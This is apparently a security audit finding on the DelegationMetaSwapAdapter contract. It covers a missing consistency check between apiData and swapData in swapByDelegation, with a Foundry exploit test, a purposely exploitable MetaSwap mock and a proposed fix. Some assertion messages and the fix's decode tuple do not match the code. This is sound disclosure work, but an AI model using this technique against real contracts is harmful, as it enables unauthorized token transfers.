MEDIUM severity: Inconsistency in API and swap payloads in DelegationMetaSwapAdapter can potentially lead to unauthorized transfers. **Description:** The `DelegationMetaSwapAdapter` contract contains a vulnerability in the `swapByDelegation()` function where it fails to validate consistency between the token declared in the API data (apiData) and the actual token used in the swap data (swapData).

This discrepancy allows an...

Vulnerable code:
function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
        (string memory aggregatorId_, IERC20 tokenFrom_, IERC20 tokenTo_, uint256 amountFrom_, bytes memory swapData_) =
            _decodeApiData(_apiData);
        uint256 delegationsLength_ = _delegations.length;

        if (delegationsLength_ == 0) revert InvalidEmptyDelegations();
        if (tokenFrom_ == tokenTo_) revert InvalidIdenticalTokens();
        if (!isTokenAllowed[tokenFrom_]) revert TokenFromIsNotAllowed(tokenFrom_);
        if (!isTokenAllowed[tokenTo_]) revert TokenToIsNotAllowed(tokenTo_);
        if (!isAggregatorAllowed[keccak256(abi.encode(aggregatorId_))]) revert AggregatorIdIsNotAllowed(aggregatorId_);
        if (_delegations[0].delegator != msg.sender) revert NotLeafDelegator();
       //@audit missing checks on swapData payload which also contains tokenFrom and to

     // ....
}

/**
 * @title DelegationMetaSwapAdapterConsistencyExploitTest
 * @notice This test demonstrates how inconsistencies between API data and swap data can be exploited
 */
contract DelegationMetaSwapAdapterConsistencyExploitTest is DelegationMetaSwapAdapterBaseTest {
    BasicERC20 public tokenC;

    // Mock MetaSwap contract that allows us to demonstrate the issue
    ExploitableMetaSwapMock public exploitableMetaSwap;

    function setUp() public override {
        super.setUp();

        _setUpMockContractsWithCustomMetaSwap();
    }

    function test_tokenFromInconsistencyExploit() public {
        // This test demonstrates an exploit where:
        // - apiData declares tokenA as tokenFrom, but sends a small amount (appears safe)
        // - swapData references tokenB as tokenFrom, with a much larger amount
        // - MetaSwap will use the larger amount of tokenB, draining user's funds

        // Record initial balances
        uint256 vaultTokenABefore = tokenA.balanceOf(address(vault.deleGator));
        uint256 adapterTokenBBefore = tokenB.balanceOf(address(delegationMetaSwapAdapter));
        uint256 vaultTokenCBefore = tokenC.balanceOf(address(vault.deleGator));
        console.log("Initial balances:");
        console.log("TokenA:", vaultTokenABefore);
        console.log("TokenB:", adapterTokenBBefore);
        console.log("TokenC:", vaultTokenCBefore);

        // ======== THE EXPLOIT ========
        // We create inconsistent data where:
        // - apiData claims to swap a small amount of tokenA
        // - swapData actually references tokenB with a much larger amount

        // First, craft our malicious swap data
        uint256 amountToTransfer = 100; // amount of tokenA
        uint256 outputAmount = 1000;

        bytes memory exploitSwapData = _encodeExploitSwapData(
            IERC20(tokenB), // Real tokenFrom in swapData is tokenB (not tokenA)
            IERC20(tokenC), // tokenTo is tokenC
            amountToTransfer, //amount for tokenB
            outputAmount // Amount to receive
        );

        // Create malicious apiData that claims tokenA but references the swapData with tokenB
        bytes memory maliciousApiData = _encodeExploitApiData(
            "exploit-aggregator",
            IERC20(tokenA), // pretend to use tokenA in apiData
            amountToTransfer,
            exploitSwapData // but use swapData that uses tokenB with large amount
        );

        // Create a delegation from vault to subVault
        Delegation memory vaultDelegation = _getVaultDelegationCustom();
        Delegation memory subVaultDelegation =
            _getSubVaultDelegationCustom(EncoderLib._getDelegationHash(vaultDelegation), amountToTransfer);

        Delegation[] memory delegations = new Delegation[](2);
        delegations[1] = vaultDelegation;
        delegations[0] = subVaultDelegation;

        // Execute the swap with our malicious data
        vm.prank(address(subVault.deleGator));
        delegationMetaSwapAdapter.swapByDelegation(maliciousApiData, delegations);

        // Check final balances
        uint256 vaultTokenAAfter = tokenA.balanceOf(address(vault.deleGator));
        uint256 adapterTokenBAfter = tokenB.balanceOf(address(delegationMetaSwapAdapter));
        uint256 vaultTokenCAfter = tokenC.balanceOf(address(vault.deleGator));
        console.log("Final balances:");
        console.log("TokenA:", vaultTokenAAfter);
        console.log("TokenB:", adapterTokenBAfter);
        console.log("TokenC:", vaultTokenCAfter);

        // The TokenA balance should remain the same (not used despite apiData saying it would be)
        assertEq(vaultTokenABefore - vaultTokenAAfter, amountToTransfer, "TokenA balance shouldn't change");

        // The TokenB balance should be drained (this is the actual token used in the swap)
        assertEq(adapterTokenBBefore - adapterTokenBAfter, amountToTransfer, "TokenB should be drained by the largeAmount");

        // The TokenC balance should increase
        assertEq(vaultTokenCAfter - vaultTokenCBefore, outputAmount, "TokenC should be received");

        console.log("EXPLOIT SUCCESSFUL: Used TokenB instead of TokenA, draining more funds than expected!");
    }

    // Helper to encode custom apiData for the exploit
    function _encodeExploitApiData(
        string memory _aggregatorId,
        IERC20 _declaredTokenFrom,
        uint256 _declaredAmountFrom,
        bytes memory _swapData
    )
        internal
        pure
        returns (bytes memory)
    {
        return abi.encodeWithSelector(IMetaSwap.swap.selector, _aggregatorId, _declaredTokenFrom, _declaredAmountFrom, _swapData);
    }

    // Helper to encode custom swapData for the exploit
    function _encodeExploitSwapData(
        IERC20 _actualTokenFrom,
        IERC20 _tokenTo,
        uint256 _actualAmountFrom,
        uint256 _amountTo
    )
        internal
        pure
        returns (bytes memory)
    {
        // Following MetaSwap's expected structure
        return abi.encode(
            _actualTokenFrom, // Actual token from (can be different from apiData)
            _tokenTo,
            _actualAmountFrom, // Actual amount (can be different from apiData)
            _amountTo,
            bytes(""), // Not important for the exploit
            uint256(0), // No fee
            address(0), // No fee wallet
            false // No fee to
        );
    }

    function _getVaultDelegationCustom() internal view returns (Delegation memory) {
        Caveat[] memory caveats_ = new Caveat[](4);

        caveats_[0] = Caveat({ args: hex"", enforcer: address(allowedTargetsEnforcer), terms: abi.encodePacked(address(tokenA)) });

        caveats_[1] =
            Caveat({ args: hex"", enforcer: address(allowedMethodsEnforcer), terms: abi.encodePacked(IERC20.transfer.selector) });

        uint256 paramStart_ = abi.encodeWithSelector(IERC20.transfer.selector).length;
        address paramValue_ = address(delegationMetaSwapAdapter);
        // The param start and and param value are packed together, but the param value is not packed.
        bytes memory inputTerms_ = abi.encodePacked(paramStart_, bytes32(uint256(uint160(paramValue_))));
        caveats_[2] = Caveat({ args: hex"", enforcer: address(allowedCalldataEnforcer), terms: inputTerms_ });

        caveats_[3] = Caveat({
            args: hex"",
            enforcer: address(redeemerEnforcer),
            terms: abi.encodePacked(address(delegationMetaSwapAdapter))
        });

        Delegation memory vaultDelegation_ = Delegation({
            delegate: address(subVault.deleGator),
            delegator: address(vault.deleGator),
            authority: ROOT_AUTHORITY,
            caveats: caveats_,
            salt: 0,
            signature: hex""
        });
        return signDelegation(vault, vaultDelegation_);
    }

    function _getSubVaultDelegationCustom(
        bytes32 _parentDelegationHash,
        uint256 amount
    )
        internal
        view
        returns (Delegation memory)
    {
        Caveat[] memory caveats_ = new Caveat[](1);

        // Using ERC20 as tokenFrom
        // Restricts the amount of tokens per call
        uint256 paramStart_ = abi.encodeWithSelector(IERC20.transfer.selector, address(0)).length;
        uint256 paramValue_ = amount;
        bytes memory inputTerms_ = abi.encodePacked(paramStart_, paramValue_);
        caveats_[0] = Caveat({ args: hex"", enforcer: address(allowedCalldataEnforcer), terms: inputTerms_ });

        Delegation memory subVaultDelegation_ = Delegation({
            delegate: address(delegationMetaSwapAdapter),
            delegator: address(subVault.deleGator),
            authority: _parentDelegationHash,
            caveats: caveats_,
            salt: 0,
            signature: hex""
        });

        return signDelegation(subVault, subVaultDelegation_);
    }

    function _setUpMockContractsWithCustomMetaSwap() internal {
        vault = users.alice;
        subVault = users.bob;

        // Create the tokens
        tokenA = new BasicERC20(owner, "TokenA", "TKA", 0);
        tokenB = new BasicERC20(owner, "TokenB", "TKB", 0);
        tokenC = new BasicERC20(owner, "TokenC", "TKC", 0);

        vm.label(address(tokenA), "TokenA");
        vm.label(address(tokenB), "TokenB");
        vm.label(address(tokenC), "TokenC");

        exploitableMetaSwap = new ExploitableMetaSwapMock();

        // Set the custom MetaSwap mock
        delegationMetaSwapAdapter = new DelegationMetaSwapAdapter(
            owner, IDelegationManager(address(delegationManager)), IMetaSwap(address(exploitableMetaSwap))
        );

        // Mint tokens
        vm.startPrank(owner);
        tokenA.mint(address(vault.deleGator), 1_000_000);
        tokenB.mint(address(vault.deleGator), 1_000_000);
        tokenB.mint(address(delegationMetaSwapAdapter), 1_000_000);
        tokenA.mint(address(exploitableMetaSwap), 1_000_000);
        tokenB.mint(address(exploitableMetaSwap), 1_000_000);
        tokenC.mint(address(exploitableMetaSwap), 1_000_000);
        vm.stopPrank();

        // give allowance of tokenB to the metaswap contract
        vm.prank(address(delegationMetaSwapAdapter));
        tokenB.approve(address(exploitableMetaSwap), type(uint256).max);

        // Update allowed tokens list to include all three tokens
        IERC20[] memory allowedTokens = new IERC20[](3);
        allowedTokens[0] = IERC20(tokenA);
        allowedTokens[1] = IERC20(tokenB);
        allowedTokens[2] = IERC20(tokenC);

        bool[] memory statuses = new bool[](3);
        statuses[0] = true;
        statuses[1] = true;
        statuses[2] = true;

        vm.prank(owner);
        delegationMetaSwapAdapter.updateAllowedTokens(allowedTokens, statuses);

        _whiteListAggregatorId("exploit-aggregator");
    }
}

/**
 * @notice Mock implementation that demonstrates the vulnerability
 * @dev This mock mimics MetaSwap but exposes the tokenFrom inconsistency
 */
contract ExploitableMetaSwapMock {
    using SafeERC20 for IERC20;

    event SwapExecuted(IERC20 declaredTokenFrom, uint256 declaredAmount, IERC20 actualTokenFrom, uint256 actualAmount);

    /**
     * @notice Mock swap implementation that purposely ignores API data parameters
     * @dev This simulates a MetaSwap contract that uses the values from swapData
     * instead of the values declared in apiData
     */
    function swap(
        string calldata aggregatorId,
        IERC20 declaredTokenFrom, // From apiData
        uint256 declaredAmount, // From apiData
        bytes calldata swapData
    )
        external
        payable
        returns (bool)
    {
        // Decode the real parameters from swapData (our mock uses a simple structure)
        (IERC20 actualTokenFrom, IERC20 tokenTo, uint256 actualAmount, uint256 amountTo,,,,) =
            abi.decode(swapData, (IERC20, IERC20, uint256, uint256, bytes, uint256, address, bool));

        // Log the inconsistency for demonstration purposes
        emit SwapExecuted(declaredTokenFrom, declaredAmount, actualTokenFrom, actualAmount);

        // Execute the swap using the ACTUAL parameters from swapData, ignoring apiData
        actualTokenFrom.safeTransferFrom(msg.sender, address(this), actualAmount);
        tokenTo.transfer(address(msg.sender), amountTo);

        return true;
    }
}

function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
    // Decode apiData
    (string memory aggregatorId_, IERC20 tokenFromApi, uint256 amountFromApi, bytes memory swapData_) =
        _decodeApiData(_apiData);

    // Decode swapData to extract the actual token and amount
    (IERC20 tokenFromSwap, IERC20 tokenTo_, uint256 amountFromSwap,,,,) =
        abi.decode(abi.encodePacked(abi.encode(address(0)), swapData_),
                  (address, IERC20, IERC20, uint256, uint256, bytes, uint256, address, bool));

    // @audit Validate consistency between apiData and swapData
    require(address(tokenFromApi) == address(tokenFromSwap),
            "TokenFromInconsistency: apiData and swapData tokens must match");

    // @audit Validate amounts are consistent
    require(amountFromApi == amountFromSwap,
            "AmountInconsistency: apiData amount must be equal to swapData amount");

    // Continue with existing implementation...
}